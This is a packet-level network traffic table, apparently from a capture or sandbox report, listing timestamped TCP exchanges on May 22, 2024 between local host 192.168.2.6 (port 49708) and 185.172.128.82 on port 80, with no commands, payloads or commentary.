May 22, 2024 20:06:30.586169004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.586189985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.586199999 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.586210966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.586229086 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.586237907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.586261034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.586270094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.586299896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698280096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698364019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698390961 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698415041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698438883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698457003 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698507071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698520899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698539972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698554993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698575020 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698592901 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698602915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698627949 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698637009 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698666096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698687077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698695898 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698717117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698733091 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698746920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698767900 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698776007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698792934 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698807955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698818922 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698839903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.698856115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.698873997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.699421883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.699448109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.699471951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.699485064 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.699503899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.699517012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.699527979 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.699549913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.699561119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.699583054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.700866938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.700894117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.700917006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.700928926 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.700956106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.700973034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.700982094 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.701003075 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.701026917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.701042891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.701056004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.701081038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.701097965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.701114893 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.701123953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.701167107 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.701744080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.701770067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.701796055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.701803923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.701831102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.701839924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.701859951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.701874018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.701924086 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.701924086 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.702649117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.702675104 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.702703953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.702713966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.702727079 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.702749968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.702759027 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.702792883 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.703360081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.703386068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.703412056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.703419924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.703434944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.703450918 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.703463078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.703483105 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.703495026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.703526974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.704111099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.704137087 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.704160929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.704184055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.704194069 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.704194069 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.704219103 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.704241037 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.704907894 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.704935074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.704963923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.704973936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.704986095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.705008984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.705017090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.705038071 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.705049992 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.705080032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.705714941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.705740929 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.705763102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.705774069 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.705791950 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.705805063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.705815077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.705836058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.705852032 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.705879927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.706515074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.706532955 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.706563950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.706574917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.706595898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.706607103 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.706648111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.707312107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.707339048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.707362890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.707374096 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.707396030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.707412004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.707428932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.707446098 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.707484007 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.708275080 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.708317041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.708390951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.708415031 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.708440065 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.708482027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.708518028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.708538055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.708559990 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.708575964 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.709266901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.709311008 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.709327936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.709357977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.709382057 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.709430933 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.709444046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.709484100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.712793112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.712836027 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.712857962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.712882996 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.712908030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.712955952 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.712969065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.713002920 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.713022947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.713068962 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.713126898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.713169098 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.713186979 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.713217020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.713258028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.713300943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.713347912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.713365078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.713365078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.713397026 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.713419914 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.713466883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.713479042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.713512897 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.713535070 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.713583946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.713596106 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.713637114 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.714034081 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.714076042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.714093924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.714129925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.714148045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.714190960 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.714207888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.714241028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.714814901 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.714858055 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.714878082 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.714905977 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.714927912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.714968920 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.714987040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.715015888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.715039015 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.715091944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.715610981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.715652943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.715675116 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.715701103 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.715723991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.715773106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.715785980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.715821028 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.716365099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.716420889 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.716624975 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.716667891 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.716690063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.716718912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.716743946 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.716794014 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.716806889 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.716842890 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.716860056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.716908932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.789237976 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.789269924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.789298058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.789343119 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.789388895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.789558887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.789621115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.789757013 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.789805889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.789830923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.789855957 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.790189028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.790236950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.790258884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.790292978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.790321112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.790374994 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.790389061 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.790422916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.790450096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.790522099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.790949106 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.790997028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.791016102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.791045904 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.791376114 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.791423082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.791445017 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.791481972 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.791507959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.791560888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.791574955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.791616917 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.791635036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.791683912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.792139053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.792186022 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.792210102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.792244911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.792571068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.792627096 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.792640924 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.792673111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.792701006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.792754889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.792774916 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.792813063 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.792838097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.792891979 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.793364048 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.793420076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.793435097 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.793464899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.793493986 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.793540001 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.793580055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.793615103 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.794195890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.794251919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.794265985 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.794301033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.794327974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.794384003 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.794398069 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.794431925 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.794457912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.794497967 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.795475006 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.795522928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.795543909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.795574903 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.795603991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.795658112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.795671940 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.795710087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.795777082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.795830965 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.795846939 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.795892000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.795913935 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.795953989 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.795977116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.796030998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.796044111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.796101093 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.796578884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.796689034 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.796703100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.796736956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.796762943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.796818018 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.796833038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.796866894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.796892881 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.796946049 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.796960115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.797000885 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.797394991 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.797450066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.797463894 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.797504902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.797525883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.797575951 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.797591925 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.797641039 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.797656059 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.797714949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.797730923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.797770977 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.797796011 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.797821999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.798340082 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.798387051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.798410892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.798444033 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.798471928 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.798527956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.798552990 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.798605919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.798620939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.798660040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.798681974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.798728943 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.798753023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.798789978 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:30.799328089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.799376011 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:30.799396992 CEST	49708	80	192.168.2.6	185.172.128.82
